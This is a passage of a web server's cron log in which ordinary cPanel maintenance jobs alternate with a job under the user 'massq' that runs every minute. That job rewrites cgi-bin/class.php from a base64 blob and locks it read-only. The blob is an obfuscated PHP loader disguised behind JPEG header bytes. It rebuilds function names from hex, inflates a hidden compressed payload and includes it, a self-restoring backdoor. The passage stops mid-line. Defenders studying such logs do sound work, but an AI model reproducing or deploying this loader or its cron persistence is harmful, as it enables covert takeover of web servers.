Apr  9 12:40:01 server CROND[3493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:40:01 server CROND[3494]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 12:41:01 server CROND[3705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:42:01 server CROND[3765]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 12:42:01 server CROND[3766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:43:01 server CROND[3844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:44:01 server CROND[3904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:45:01 server CROND[3971]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 12:45:01 server CROND[3972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 12:45:01 server CROND[3973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:46:01 server CROND[4185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:47:01 server CROND[4246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:48:01 server CROND[4310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:49:01 server CROND[4375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:50:01 server CROND[4440]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 12:50:01 server CROND[4441]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 12:50:01 server CROND[4443]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 12:50:01 server CROND[4444]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 12:50:01 server CROND[4446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:51:01 server CROND[4643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:52:01 server CROND[4708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:53:01 server CROND[4762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiY